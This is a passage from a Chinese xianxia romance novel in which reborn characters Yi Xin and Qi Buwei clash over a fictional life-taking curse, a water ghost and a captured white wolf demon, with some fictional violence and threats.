反观祁不为虽不能用灵力,但手中长剑不思量对付水鬼亦绰绰有余,如何也不像需要“强行催动”灵力的境况。
医士道:“除打斗外,情绪起伏过大也有影响。”
是因为他察觉水鬼对祁有为有情,所以情绪不稳?
易辛暗自思忖,略去这一茬,他其实没发现自己知道得失咒之事吧?水鬼变色,只是看见他忽然昏倒……
她略略松了口气,见祁不为无碍,遂自行离去。
山间凉意弥漫,浑身湿透的她有些冷,便加紧步伐回到浣衣坊,烧好一大桶热水,褪下湿衣。
手掠过肩膀时,她顿了顿,背向角落里一枚铜镜。
镜中映出肩胛骨下一枚蛇形印记。
上一世的触感似乎若隐若现。祁不为指尖落在她肩胛骨下方,衣衫也隔绝不了他的温度。
——这里,淋过水后,也会浮现蛇形记号。
——你吃那么多,肉都长哪去了。伸手一按,全是骨头。
易辛微微叹息,没想到这一世她身上的得失咒印记竟来得这般早……
按捺下繁杂思绪,她先好好洗浴一番,驱走身上寒气,再穿衣时,不知是否屋中水雾朦胧,视线恍惚,光晕重重叠叠,脚底亦有些发软。
她撑了撑额角,也许还是受寒了……这般想着,她迅速收好浴房,回到寝屋里,将被子一裹,期望睡上一觉便能好许多。
这厢祁不为借着晕倒的功夫好好睡上一觉,至第二日夜里又失了眠。
大半夜的,侍女纷纷掌灯,应他所言将山庄里所有能点的安神香统统点了一遍,最后屋中味道杂七杂八,偏偏没有他熟悉的那一种。
祁不为心中憋着一口气,难道非易辛不可了吗!
失眠至晨时,他翻身起床,眼中延开几缕红血丝,去了藏经阁。
一坐便是一整日。
祁不为倚着阁楼窗户,三层楼之高,让他得以远眺清风山的袅袅云雾和飞鸟。
日暮的余晖带着一股温柔倦意,鸟兽归家,屋檐四角的风铃清脆作响。
祁不为眯起眼睛看那红色落日,再一低头,橘红光晕里掠过远处一排排的竹竿和衣物。几个浣衣女打井水收衣物,却不见易辛。
这时,一只麻雀撞上风铃,与铃舌相碰,鸣音清越也急促,扰得他拧起眉头。
随手拔下窗台的一片叶子,急速射去,麻雀受了惊吓,连忙飞远了。
半夜,祁不为心中躁郁更甚,睁眼到天明的感觉令他十分不适,总是能够想起前世的刀光剑影。在他又翻一个身时,屋外的侍女轻轻问候。
“公子,浣衣坊那边出事了,你可否前去查看?”
浣衣坊?
祁不为坐起身:“何事?”
侍女惊了一回,没料到半夜来寻祁不为,竟能立马得到回应。
“好像是说那名唤易辛的侍女中了邪气,一直高烧不退,已经烧了整整两日,开始说胡话了。”
祁不为一愣,想到那日情景,水鬼阴气入体?
水鬼为最低阶的鬼怪,山庄从未出现弟子被水鬼阴气侵袭的例子,倒忘了易辛不过是个普通侍女。
普通人邪气入体,可大可小。
祁不为忽觉上天助他,这几日都不曾叫易辛安生,说不准她今夜便烧死了。
但有人来请,他做个样子也该去瞧瞧。
到了休憩的厢房,所有人都退至院中。祁不为走近床边,便见易辛脸色涨红,非健康的色泽,眉头紧锁,唇上起皮。
他探易辛体温,十分烫人。
祁不为心中有计,阴气入体也要看时间长短,若是足够重,大罗神仙也救不得。
片刻后,他关上房门说要诊治,任何人不得入内,接着便施施然坐在一旁,对窗外月色发呆。
屋内寂静,寂静中伴随着易辛的胡言乱语。
当一个较为清晰的词被祁不为捕捉时,他顿感无语又好笑。
“池洛糕?”祁不为嗤她一声,“病成什么样了,还想吃池洛糕?”
话音方落,但见易辛眉头松动又一拧,似乎能听到他的声音。
见状,他眉目沉下来,一股不耐慢慢升腾而起。
他对于易辛背刺自己一事耿耿于怀,尤其临死前他还想以命换命。
这让祁不为大为嘲讽,脸被扇得火辣辣。
他冷心冷情地等着易辛被阴气侵袭。不治而亡。
不知过了多久,易辛似被什么缠住,作出挣扎状。
手脚却被死死定在原地似的,露在外头的颈项和脸更加鲜红,是充血后的模样,额角青筋突起。
她面色痛苦,不住闷哼。
祁不为不解,阴气入体的症状不是这样,这看起来倒像是魇住了。
可若是魇住,这反应未免太大。
祁不为视线下移,连锁骨也红成一片。
过敏?但未见身上起疹。
她紧紧揪住床褥,颈项绷直,在枕头上辗转反侧,像是受着剥皮抽筋的刑罚。
“祁不为……”
“祁不为……祁不为……”
她痛苦地咬牙出声,祁不为起初以为她是知晓自己在旁,呼他求救。再唤几声,竟见她落下泪来,薄薄的眼皮嫣红,声音嘶哑又似咆哮,显得好不伤心,伤心之下还有惊惶。
听之让人想到啼血的杜鹃。
祁不为没有动作,拧眉默然地望着那般痛苦的易辛,她究竟梦到了什么……
易辛的呼唤中渐渐带了恳求,声音也愈发高昂,最后竟大喊一声。
“祁不为!”
她生生把自己喊醒了。
猝不及防地,祁不为对上她鲜红又惊恐的目光,下意识问道:“你梦见……”
话音戛然而止——易辛将他扑了个满怀!
她死死抱住祁不为,呜呜恸哭起来,嘴里不停念着祁不为的名字。
祁不为僵住,莫名察觉易辛身上极度的悲伤,有如潮水漫过头顶。
但不过须臾,心底对她的抗拒又袭上心头。
此生的易辛若此刻便能因他魇成这般模样,那前世也是如此,可最后还不是让他一剑毙命。
他眉目生冷,推开易辛,不料后者力气之大,他一时竟无法推开。
怒气上涌,他一把卡住易辛喉咙,发力推她向后。
易辛的哭声都因这番举止猛然哽咽停顿。
“你做什么!”祁不为怒问。
易辛怔然,好像分不清虚幻和现实,只默默流泪,水洗过的眼睛揉了月光,像碎瓷片。
“你僭越了。”祁不为冷眼看她,那些泪仿佛流不尽,悉数沿着她下巴落在自己手背上。
高热之人连泪也是滚烫的,灼得祁不为眉头皱了又皱。
“你既已清醒,便好好休息。”他扔下一句话,松开桎梏转身离开。
没走几步,身后忽然传来落地的动静。
“——祁不为!”
他转过身,只见易辛匆忙落地,却踩住了裙角,绊倒向前。
祁不为下意识拦腰搂住她倾倒的身子,两人顺势跌坐在地。
易辛含泪望他,仍是不说话,却紧紧攥住他衣角。
祁不为眉头一拧,粗暴地将她拽到床上:“等着,我去煎药!”
说罢,他面色难看地离开了。
当厨房里弥漫着药材清苦之味时,祁不为终于回过神来,低头一扫——他正坐在小凳上,执扇摇炉,安分地煎药……
???
易辛受阴气侵袭,他难道也神智失常了不成!
煎什么药?!
祁不为捏紧扇柄,眸光似鬼火憧憧,半晌,想通了什么似的,专心煎起药来。
良久,他端着汤药进屋。易辛抱膝坐在床边,面色仍泛着不正常的潮红,精神瞧着却稳定了许多,好像终于清醒了似的。
“易辛,这碗汤药可
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要好生收下,一滴都别浪费,”祁不为走到她身前,递去药碗,“我可从没给他人煎过药。”
被喊到名字的人一怔,易辛对上他的眼,后者不闪不避。
她伸手接过,药甫一入口,苦涩难言,眉头越蹙越高,尚未到胃,便让她泛起恶心想吐之感。
祁不为奇了,只见她脸色实在不算好,仿佛喝的不是药,而是让人喷火的辣油,眼底竟浮现一层淡淡水光。喝完药,丢了半条命似的。
有这么难喝?疑惑一闪即逝,他并不在意,只要易辛接过这碗药就行。
他淡淡道:“歇下吧,我走了。”
谁料易辛拉住他的手,柔软高热的触感在他掌心里晕开。
后知后觉感到不妥,她立即抽回手,仰头望他:“公子,您前几日唤我点香?”
想来侍女告知过她,他那时并不清醒,说了混淆之语,当即面不改色地撒谎:“哦,不是真的唤你点香,只是忽然想问你会不会点香。”
“用炉熏香?我不会,但我会做香囊。公子可需要?”
祁不为沉吟片刻,如今易辛还是浣衣女,未入内室服侍,约莫此刻没学点香。但她做的香囊或许也能助眠。
思考纠结一番后,在失眠躁郁面前,祁不为还是屈服了。他对易辛点点头。
易辛便让祁不为回去休息,自己此刻去做香囊。
祁不为以为起码要等明日,她却道十分感念公子照顾之恩,左右现下睡不着,便早做早好。
最后,祁不为把易辛带回自己的院落,让侍女在屋檐下铺桌摆放辅料。
等人都散去后,只剩坐在桌边一侧的祁不为和中央的易辛。
折腾许久,此刻夜幕已漫开暗蓝。
桌案摆一盏夜灯,橙黄轻微摇晃,扫过易辛侧脸,在廊下投了一片薄薄的影子。
不多时,天下起了小雨,窸窸窣窣。
黛蓝天际衔接灰色的房屋瓦片,花叶沾雨,弥漫湿润水汽,香料沉静浅淡的气息渐渐渗入氤氲的雨雾中,水滴落在廊前石阶上,透出静谧。
祁不为闻到空气中微薄的气味时,把看雨的目光收回来。易辛已经捣好了沉香,和其余香料混杂在一起,融入蜂蜜,团成几个圆球。
她点燃小巧的炉火,将圆球蒸干,清浅的香气略微浓厚了些。
蒸干圆球的过程略微有些漫长。
祁不为听得她忽然发问。
“公子和庄主的姓名可有深意?”
祁不为随意道:“君子有所为,有所不为。”
“为人要有自己的道德和底线,去做正确的事,不做对百姓社稷有害的事。我和她的名字取自此处。”
“有所为,有所不为。”易辛轻轻呢喃,一边把一颗蒸干的小球装入香囊中。
“有所不为,祁不为……”易辛抿起嘴角微笑,把做好的一个香囊递给他,“公子,希望你笑纳。”
祁不为没在意她的直呼其名,只当她还不够清醒,伸手接过香囊。
易辛继续烤干余下圆球。
熟悉的气味沁入祁不为鼻尖,耳边雨滴扑簌,暖黄的烛火逐渐出现重影。
汤池内,烛火明亮,照得水面波光潋滟。
有女子在池岸边侧身对他,仔细地摆弄一个小炉,袅袅清香被蒸汽翻腾,盈满室内。
烛火映她侧脸莹白温润,恬淡静谧。
下一瞬,画面一转。
那侧脸近在咫尺,他抵在她背后。
她攀住池壁,双目紧闭,隐忍不言,只偶尔听见一两声啜泣。
两人浸在温热的汤池里,水波浪涌。
被她救命稻草般攥住的一角喜服,已融入水中,洇湿。
清泪从她眼尾坠落时,他一口咬住那圆润饱满的耳垂。
祁不为猝然睁眼,恰逢一只鸟雀穿堂而过,携起几声啼鸣,掠向远处黛蓝昏暗的天际。
庭院中空无一人,易辛不知何时已经离开了,案几上铺开几个香囊,而他肩上也不知谁帮忙披了件外衣。
他在原地端坐良久,忽然狠狠打了自己一个巴掌,庭院中花叶都被惊动了似的,簌簌抖动。
——怎么会做这种梦?!
——荒谬!
5. 第五章
一日活计干完,用膳时,浣衣坊众人吃得津津有味,只余易辛停箸空中,似乎不合胃口,不知如何下筷。
“易辛,怎么不吃?你平日可吃得比谁都香!”有人奇道。
“自你上回院中滑倒,胃口一日不如一日,是病了还是怎的?”
“昨日公子不是替你诊治了吗?还没好全?”
易辛勉力笑笑,夹了一筷子菜,甫一入口,仿佛吃了胆汁似的,苦不堪言。
她还有一样异处,过手的吃食都苦涩至极……但人是铁饭是钢,不吃不行,遂一日三餐成了巨大折磨。
不光身体受难,精神也不遑多让。
按理说,她应去答谢祁不为的救治之恩,但不用想也知道,见了面,不是隐隐针刺般的目光,就是要她命的手段。
答谢答谢,以命相谢。
她无声地长叹一气,抬头望那明月,一定要熬到八月初七。
一顿饭吃得难以下咽,勉强填饱肚子时,她下了山。
方走到山脚,胃里翻江倒海,她哇地一声吐在了草垛里。
易辛神色平平,毫不意外。这几日她总是吃了吐,吐了吃,实在太苦。但需要适应,习惯,因为她是凡人,不吃饭会死。
她抹净嘴角,从幽暗草丛中抬头,倏忽睁大了眼。
触目所及,一片繁华。
灯笼从街道这头延伸至远方,影影绰绰,仿若星河。
人群攒动,各种饭食香气夹杂,不时有孩童穿梭来去,如自在游鱼。
和前世被遗弃的小镇截然不同,现下生机蓬勃。
人间烟火气感染了她,易辛不禁露出由衷的笑意,抬步走向长街,从这个摊贩走到那个摊贩,其间不时遇见几位相熟的贩主,寒暄几句,又流连其中。
回过神来时,手上已经拎了不少喜爱的吃食,对面聚了几个孩童,眼巴巴望着她。
易辛笑了笑,抬手招他们过来。买那些东西是情不自禁,但她知道吃不得,于是重新替那些孩子买过了,由他们自己提溜着。
一个大人并数个孩童便坐在一处府邸的侧门台阶上,易辛把小食分了,看他们吃得不亦乐乎,开心的同时又心生羡慕。
大概是她眼神过于灼热,身旁一女童举起糖画,奶声奶气说道:“姐姐,吃。”
她低头就着她的手咬下一块糖画,小心翼翼含在嘴里,没有先前的苦涩——甜的!
且甜蜜得她难以置信,兴奋得几乎要哭了。
果然——像这样喂食,未过她的手,那么食物便是原本的味道!
夜空仿佛响应她的心花怒放,相继绽开几朵烟火,明明暗暗,五彩斑斓,立即吸引了众人的注意。
易辛和孩童一起欢呼起身,仰头看绚烂的夜幕。
孩童玩兴大起,又感念易辛请他们吃美食,纷纷围着她转起了圈。
易辛有样学样,和他们一起举手蹦蹦跳跳,耳边孩童笑声清脆,头顶烟花璀璨。
一切都是新的,生命、小镇、山庄。
事事明媚。
转着转着,她僵在原地,正前方赫然是祁不为。
恰逢此时,一朵巨大烟火绽开,星星点点散落,又成烟花炸开,夜幕恍如白昼,银光灿灿,映得祁不为满身清白。
画面很美,但易辛不觉得他便会对自己良善。
金玉楼。
堂内喧闹不已,而易辛这一桌仿佛与外人隔绝,安静得格格不入。
她与祁不为相对而坐,想不通他哪来的好心情,居然请自己吃饭,约莫是鸿门宴。
小二上了茶水,但生意兴隆,来不及替二人斟茶。
她双手放在膝上,垂眸扫了一眼空茶杯。毫无疑问,此种情况下,理当是她一个侍女替公子倒茶,但想到自身异处,她决定装糊涂。
这般想着,忽觉一道视线打在身上,她不得不抬起头,只见祁不为似奇怪又似不满,目光掠过茶杯再回望她。
示意明显。
无法,易辛只得斟茶。
祁不为一面说话,一面吃茶,状似随意:“你昨晚梦见了什……噗——”
见他吐了出来,易辛摁紧手心,用力闭眼,再睁开时,他整张脸都皱了起来。
“这什么鬼东西?!我从没喝过如此苦的茶!”祁不为既惊且怒。
小二闻讯而来,惯例赔笑脸,安抚宾客。
“你自己尝尝!”说罢,祁不为端来易辛那杯没喝过的茶,怒向小二。
不出意外,响起第二道“噗”声。
小二咂咂嘴巴,苦得骂起人来:“厨房怎么回事!这茶叶坏了,还是茶水过夜了!客官,不好意思啊,真的不好意思,您等着,我马上上一壶新的,今日饭菜给您折个价。”
易辛全程一语不发,待新茶上来,小二立即给二人斟满,看着祁不为品过无异后,才又连连道歉着退下了。
祁不为似是苦坏了,懒得让易辛斟茶,自己倒了一杯又一杯,冲淡苦涩之味。
缓过劲来,祁不为注意力又回到易辛身上。
“方才的问题,你还没回我,昨晚梦见了什么?”
……梦见很多鬼咬她,钻心的痛,它们一直重复——祁不为死了。
易辛眉头蹙了一下,抿了抿唇:“受水鬼惊吓,做了噩梦。”
“你可知自己一直唤我名字。”
“……公子一向斩妖除魔,我约莫是过于害怕才会在梦中呓语。”
“那醒来时抱我?”
“……”易辛一僵,“彼时神志不清,对公子多有冒犯……”
话音落下,对面传来一声轻笑,乍听没什么意味,细听却似讽刺。
易辛努力当作没听见,恰好上菜,打破了僵局。
一桌美味佳肴,易辛却吃得极少,祁不为直觉,若非自己坐在对面,她大约一筷子不想动。
“为何不吃?”祁不为问道,“我记得,你平素很爱吃东西。”
此话一出,二人皆是一惊。
易辛冷汗刷地冒出来:他发现她也是重生者了吗?这话是在诈她?按理来说,此时祁不为和她毫无交集,怎来“我记得你平素很爱吃东西”这种熟络话?
她强自镇定,佯装惊奇:“公子怎知此事?”
那厢祁不为却愣了,仿佛她把他问住了,但易辛直觉不是如此,更像是有什么事超出了他的掌控,从而“失态”。
祁不为眉头微拧,这话像脱口而出,可他怎么知道易辛喜欢什么?他对她的印象,便是山庄里一个侍女,给他点过香,胆大包天替嫁,最后一剑把他捅死了。
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其余一概不知。
难道说……他记忆有损,忘了些什么?!
思及此,他猛地抬头看向易辛,堂内铜灯交错,衬得她面容恬淡,那一截耳垂白得发光……他立即收回目光,正好上来一道糕点。
祁不为生硬道:“池洛糕,你做梦时念叨的。”
易辛再惊,瞳孔微缩,但见祁不为神色如常,似乎没发现她的破绽。
梦魇时,她虽意识不清,但还是知道,自己呼的可不是池洛糕,而是地府之中让人还阳的赤落窖。
看来他听岔了……
但这个小插曲,倒让易辛心生疑惑。
地府有两口井,生者误入地府,从还阳井出,即可回到人世,外间时辰不受影响。可以改变光阴的是赤落窖,掉入窖中,可回到过去。
她得机缘从赤落窖重生,那么祁不为呢?从何处重生?又是谁帮的他?
初来乍到之时,她没深思这个问题,如今却疑窦重重。
只是她没法询问祁不为,正如祁不为无法拿前世记忆来问今生的易辛。
两人“各怀鬼胎”,一顿饭吃得心不在焉,另一方面,纵是易辛想吃,也“有心无力”。
出了金玉楼,集市已歇。
摊贩打起桌椅,月色清冷,铺在青石板上,如雨中积水。
祁不为在长街上闲庭信步,易辛安静缀在身后。
尽头处是堤岸,先前放流的水灯还有些浮在河面上,白光璀璨。
祁不为步下石阶,手心朝上,凭空出现一盏水灯。
“易辛。”祁不为回头唤她。
易辛应声,站至他身边。
祁不为托起他费了功夫制成的水灯,放在她身前:“送给你,易辛。放个水灯祈福吧,驱走水鬼的晦气。”
河水静静流淌,卷走飘零的落叶与花瓣,水灯相碰又分离。
易辛垂下眼眸,目光落在那盏燃着灿白烛火的莲花灯上。
祁不为看不到被眼皮挡住的眼神,只见她微微抿起唇角,双手接过水灯。
“多谢公子。”
易辛蹲在石阶边,捧着水灯闭目须臾,再轻轻放在河面上,往前一推,顺水漂流。
风似在叹息,卷起岸边垂柳,拂过易辛鬓发。
祁不为迎风侧目,远眺来时的长街。
街道静谧,融在沉沉夜色中,唯余清白月晖与大红灯笼。
他想起前世大婚之日,在清风山庄也走了一段这样的路。当时夜雨连绵,盏盏红灯照亮他的归途。
可那尽头却是一个假冒的侍女。
她本该死在那时,就不会有后来背叛一事。
这顿饭,不是鸿门宴,而是断头饭。
木雕、汤药、水灯,三礼齐全,得失咒即可生效。
杀她,是为报前世丧命之仇,亦为今生未雨绸缪,以防重蹈覆辙。
红灯笼的吊穗在风中如浮萍,飘摇不定。
祁不为回头,易辛依旧蹲在河边,只见耳边鬓发飞扬,似缱绻怅惘,又带着一丝温柔。
“你可许愿?”
“许了。”
“是何愿望?”
易辛回过头,仰视被清冷月色笼罩的祁不为。
“望公子今生平安喜乐。”
6. 第六章
翌日。
暮色四合。
最后一抹余晖隐没在天地尽头,祁不为眼中映着昏沉天色,冰冷漠然。
夜幕里亮起点星,易辛也许已成其中一颗,又或是魂归地府。
祁不为把茶水泼到海棠上,拿起不思量,下山。
双泊谷河水碧波荡漾,不似寻常河水的清澈透明,而是浓郁的蓝绿翡翠之色,美不胜收。
祁不为唤出水鬼。
“可是祁小姐归来?”水鬼飘至石墩边,仰头急切盼望着。
祁不为蹲下身,摇头否认。
水鬼略微失望:“那你唤我何来?”
话落,只见祁不为笑了一下。
水鬼忽觉今日的祁不为不同前几日,身上散发一股不经压制的阴郁戾气,形貌虽未变,可那气势着实不像此间少年能拥有的,仿佛身体里住着另一尊灵魂。
“杀你。”
水鬼一惊,杀意扑面而来,他立即躲入水中,却被祁不为揪住衣领。
阴凉之气缠绕于手上,祁不为仿若未觉。
“不要觊觎祁有为。”
面对祁不为那双阴郁疯狂的眼睛,水鬼心神巨震,似乎发现了一个了不得的秘密:“你、你、对她……”
“祁有为只能是我一人的。”祁不为语气轻如呓语,却坚如磐石。
“她可是你阿姐!”水鬼大骇,“你岂敢违背人伦!”
“她是我师姐。”
“那你们也是以姐弟之称长大,亲如一家,怎可……”
水鬼话未说完,不思量刺入他胸口,犹如打铁浸入冷水,带出滋啦声响,不绝于耳。
他凄厉地惨叫起来。
能和易张稚的无刃相媲美的灵剑,便是这把不思量,寻常小鬼妖物不可近它身,一触便灼烧皮肉。
祁不为不能用术法,也无需符咒,只要不思量,杀死水鬼不费吹灰之力。
在水鬼凄厉的叫声里,祁不为牵起唇角,眼有阴测:“我非良善之辈,如何会在意这些虚妄。我只要祁有为。”
水鬼胸口被烧出黑色的窟窿,祁不为再要入剑几寸,忽地,斜里伸出一双手,阻拦了他的动作。
祁不为侧头,猛地瞪大眼睛。
易辛握住剑柄,眉头紧紧皱起,满面焦急:“……公子,不可造杀孽!”
“你?!不可能!”祁不为脱口而出。
三礼已毕,祁不为想从易辛那里拿走的——便是性命!
得失咒会让易辛暴毙,今早就该被人发现尸体安排下葬,如何能好端端地出现,还与他夺剑?!
易辛趁祁不为震惊脱力,一把从水鬼身上拔出剑来,抢走不思量。
水鬼又是一声尖利嘶喊。
祁不为看着易辛持剑后退几步,停在一块石墩的边缘。他慢慢站起身,眉目黑沉,里头仿佛酝酿一场山火。
究竟哪里出了差错,得失咒为何没生效。
电光火石间,他垂眸看向腰间环佩的香囊。
——“有所不为,祁不为……公子,希望你笑纳”。
得失咒破解之法,只需被施咒对象在中途回送施咒者一样物品。所谓有舍有得,咒术对象送出去的东西,即“舍”。回礼一收,施咒者无法再“得”。
咒术双方在送礼时,必须说出对方的姓名,再表达送礼之意。
易辛竟是误打误撞破了咒语?!
祁不为郁气顿生,他以为天衣无缝的计划就这么被易辛无意破解了?!
“方才的话,你都听了去?”祁不为语调阴冷。
易辛没作答,眼里受惊似的闪烁着。
祁不为冷笑一声,身上之阴冷,比水鬼更甚。
“你已知我心头秘密,也知我非良善之辈……”祁不为顿了顿,“我先杀你,再杀那水鬼。最后大家会以为是水鬼害你,而我为民除害。”
易辛惊恐摇头:“公子……你若不想庄主来见他,便将他超度了去,不必杀……”
“我偏不!”
祁不为心念一动,便要不思量从易辛手中飞脱。
不思量感受主人的召唤,飞矢般动作。而易辛如惊弓之鸟,一感受到剑的异动,便本能地握紧,不料身形被剑的力量带着向前冲击,状似握剑要刺向祁不为。
祁不为眼神一定,黑眸中的火山瞬间爆发——前世的画面与现世重叠,易辛扑向他,直刺心脏。
他眼中看不到易辛的惊慌失措,只有那双握剑的手和剑尖。
易辛呼吸一滞,瞬间松手脱剑,被惯性带着磕在石墩上,扑跪在了祁不为身前。
下一瞬,不思量架在她肩上,剑刃雪白,削发如泥似的破开颈侧肌肤,血线贴着脖子向下流。
易辛一惊,抬头对上暴怒的祁不为。
“不是……我不是要杀你……”易辛眼底泛上湿意。
她眼也不错地与祁不为对视,似后怕又似惊惶,面色苍白如纸。
“但我要杀你!”
祁不为目眦欲裂,举起不思量。剑身反射岑寂银霜,也映照出易辛孱弱无力的身子。
须臾之间,挥剑的动作仿佛被拉长,易辛一咬牙,倾身扑倒祁不为。
“缠住他!”落水前,易辛冲着水鬼大喊。
两人纷纷浸入冰凉的湖泊里,水从四面八方而来,无孔不入。
祁不为未料易辛有如此气魄反抗,一时被水呛住,紧接着又被延长的头发缠裹。
待他睁眼时,易辛已游至他身前,以手示意他冷静。
可越是这样,祁不为越恨不得杀她而后快。
易辛知自己奈何不得他,只是不想死于剑下,权宜之下将他拖入水中。
不思量护主,在水中穿梭,欲砍掉绑缚祁不为的头发,而水鬼也知一定要拖住他,于是不停催生长发,一团又一团缠裹那柄灵剑。
眼见水鬼就要败在不思量剑下,盈满月色的湖面忽然一片漆黑,空中传出一声怒吼,穿透水波震痛他们的耳膜。
一只巨物跌入水中,掀起千层浪。
易辛和祁不为同时脸色一变,他们看不清巨物形貌,只见巨物直直朝他们撞来。
速度过快,祁不为来不及召唤还在同水鬼缠斗的不思量,眼见要被撞上,下一刻,易辛便将他抱了满怀,紧紧护住头颈。
祁不为一愣,紧接着,强劲的冲击撞上易辛背部,两人被掼至水底。
易辛痛得瞬间失了神,松开了祁不为,悬浮于他身前。
苍白的脸被水光衬得透明而毫无生气,嘴里吐着微末的泡泡,垂在身侧的长辫如海藻般散开。
祁不为瞳孔一缩。
不思量终于破水而至,飞速绕过祁不为身前,被他一把攥住剑柄。
祁不为揽过易辛,随着不思量飞速上升。
那巨物随之破出水面,目标倒是没有朝着他们。
祁不为松开剑柄,抱住易辛在岸边滚了几圈,才卸下力道。
易辛闭眼,眉头因痛苦而紧紧拧起。见状,祁不为略微撑起身体,方要问话,倒是易辛先睁开了眼。
祁不为面上还浸着水渍,易辛轻声问道:“……你没事吧?”
“……”祁不为没好气道,“先担心你自己吧!”
这时,凭空里响起一道清亮嗓音,带了些俏皮和打趣。
“两位,现下可不是卿卿我我的好时机噢。”
祁不为僵住,脑海过电,仿佛被雷劈了一道,他骤然起身,不可置信地望向前方。
清冷月色下,阿姐祁有为笑意盈盈地站在不远处,佩剑徐来凌空飞舞,正和那巨物搏斗。
她眉间有八卦之意,上下打量两个人。
祁不为心中那口干涸已久的枯井如有活水来,哗啦啦地冒出清泉,抚摸过皲裂的四肢百骸。
他怔忪地望着祁有为,看她露出鲜活又亲切的笑,心里倏然涌上很多东西,塞得他满涨又苦涩。紧接着,他大步迈向祁有为,猛地把她抱进怀里。
“祁有为……”他紧紧地抱住她,感受她的体温和气息,任凭眼眶湿润。
祁有为被他撞得后退一步,见他情绪如此大起大伏,甚为不解:“这是怎么了?看
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起来像有八百年未见似的。”
祁不为不说话,只是抱住失而复得的人。
但在祁有为眼里,他们不过分别了几日,完全犯不上这般,倒是觉得余毒作祟,让祁不为反复无常。
她像拎小鸡崽儿一样,揪住祁不为的衣领拉着他后退。
“我收服的白毫狼跑出来了,先处理它。”
说罢,祁有为便投身斗妖。
易辛撑着身坐起来,忍住脊背上的酸痛,望着姐弟“久别重逢”,又见祁有为游刃有余地斗白毫狼,心中不免动容。
要说仙门之中,最贯彻“道”之一字的,非祁有为莫属,便是门派前辈,也比不上。
这样的女子,死得突然,死得不应该。
重生的欢喜,大约便是见到那些本已死去的人,又活生生地站在自己面前了吧;再者,拥有了改变命运,重来一次的机会。
感慨之余,祁有为已将张牙舞爪的白毫狼收入囊中。
咆哮不绝于耳的双泊谷恢复宁静,水面瓦蓝,月光皎洁。
祁有为凌空落下,降至易辛身边,把她扶起来。
“易辛,还好吗?可伤到哪里?”
不等易辛回答,祁不为倒是先震惊道:“你认得她?”
“都是山庄里的人,为何不识?”祁有为好笑道。
祁不为浅浅翻了个白眼,山庄那么多人,也只有祁有为会花心思一个个地记住他们。
祁有为戳戳他的肩膀:“你们小时候见过也玩过,不记得了?”
此话一出,祁不为登时惊了,立即转头去看易辛。
易辛只颤了下眼睑,并未说话。
祁有为又道:“说起来,易辛还是因你而带回山庄的。”
“可她说自己是易婆婆收养的?”
“你发现了她,爹娘再把她带回来,易婆婆收养,不冲突。”
说罢,乾坤袋又活跃异常,祁有为一见,心知不能耽搁,要回山庄速速处理。
“我御剑先行一步,你们跟上吧。”
祁有为来去匆匆。
只剩两人,气氛又莫名紧张起来。
易辛摆出一副乖顺的模样,手却不自主地攥紧。祁不为想杀她,但如今祁有为回来,他应该不会肆意妄为,况且她方才见过自己,祁不为应该不会这时下手。
这厢祁不为上上下下打量易辛,无论如何溯源,都想不起儿时见过易辛,但若真如祁有为所说,他把易辛捡回来,而易辛又将他杀了——
那真是搬起石头砸自己的脚,引狼入室。
想到此处,祁不为又恨得牙痒痒:“先前的事,胆敢说出去一句,你知道后果。”
易辛忙不迭点头,知道这是暂时不杀自己的意思。
蓦地,她想起那个水底下的水鬼,又小心翼翼地问:“那水鬼,公子要如何?”
“他死了。”祁不为语气平淡。
易辛一惊,愣愣地看着祁不为。
被那样的眼神看着,祁不为心底浮起一丝恼怒,冷下眉目:“方才从水中出来,便察觉不到那水鬼的气息,约莫被白毫狼弄死了。”
话落,易辛小跑至岸边,唤他几声,果然毫无回应。
她不敢相信,水鬼执念见祁有为一面,人都到了双泊谷,却忽然死了。
易辛跳入水下,环顾一圈,除了漆黑的水底,空无一物。
连水鬼的尸体也没见到。
易辛呆呆地爬上岸,有些怅然若失。
“他死了,你觉得不舍?”祁不为问道,“为何?你们可没那么深的交情。”
易辛摇头,呢喃道:“……有的人,和想念的人见上一面,却生死相隔做不到。”
祁不为沉默。
半晌,他看见易辛颈项上凝固的伤口,开口问道:“方才我提剑杀你,昨日许的愿,后悔吗?”
易辛仍目视前方,轻轻摇头。
祁不为盯她几瞬,拧眉道:“别浪费心思在我身上,我对你无意。”
易辛神色未变,点点头,似乎对这番拒绝毫不意外。
7. 第七章
白毫狼性烈,极难驯服,祁有为抓它回来后,便将其关在屠妖塔里,每日用阵法消耗妖力。因而这几日庄里人都禁止靠近屠妖塔。
青天朗日,易辛将洗好的衣物挂在竹竿上,再扯一扯边角抚平褶皱。
这时,浣衣坊的主事让易辛前去领每月的驱蚊荷包。
山庄坐落于山间,自少不了虫蚁,因而每人都配有能够祛除虫蚁的药包。
易辛端着托盘从库房回来时,忽闻空中一声咆哮,近乎响彻清风山。她吓了一跳,托盘中的荷包掉了出来。
她侧首望向远处的屠妖塔,缓下心神,白毫狼又不安分了。方要俯身去捡落在地上的几个荷包,肩膀一沉,带了几分力道。
“不要在此逗留。”
易辛一愣,回身。祁不为捏她肩膀,眼有警告。
这几日,两人再未见面,相安无事。他仿佛恪守当日之言,顾忌祁有为在山庄里,不对她下手。
易辛后退两步,解释一番。祁不为低头看地上的驱蚊包,道:“既如此就快回去,离屠妖塔远些。”
易辛点头,捡起药包便回了浣衣坊。
天将黑未黑时,月亮爬了上来。
易辛抬头望月,再深吸一口山风,凉意灌入肺腑,安抚几分紧张。
今日便是八月初七。
她步出浣衣坊,再绕过几处屋舍,径直走向祁不为的院子。
见侍女秀兰正在值房干活,微微笑着唤了她一声。
秀兰奇道:“易辛?可是来寻公子?”
说罢,她回想起前几日半夜三更,祁不为惊醒怒唤易辛点香之事,后来又是半夜三更,他把易辛带到院子,看她制作香囊。
奇异之感浮上心头,两人之间好像有点说不清道不明的东西。
易辛摇头:“听闻秀兰姐姐的药包好闻,里头搁了莫图花,可否求姐姐割爱赠我?”
秀兰又是惊奇,一个药包而已,无可不可的,自然可送。但因她和易辛素来无交集,怎么看易辛都不是那种能直接问陌生人要东西的性子。
那是因为秀兰不知道,若今夜还留着莫图花,必将丧命。
前世,八月初七,白毫狼发狂,冲出屠妖塔,攻击秀兰。事发突然,众人毫无防备,她因此不幸丧命。
祁有为将其制服后,再三查看现场,才察觉莫图花会引得白毫狼发狂。
世界之大,生灵之多,很多妖魔鬼怪都不为仙门所知,或了解不足。
单说白毫狼,世间稀罕,所以没人知晓莫图花会刺激它。
要走莫图花药包,不仅是想救秀兰一命,易辛还另作它途。
然秀兰却拒绝了。
“真是奇了,这药包我带了好些年,也没几人问我要过,今日你来了,前脚公子又把我所有药包拿走了。”
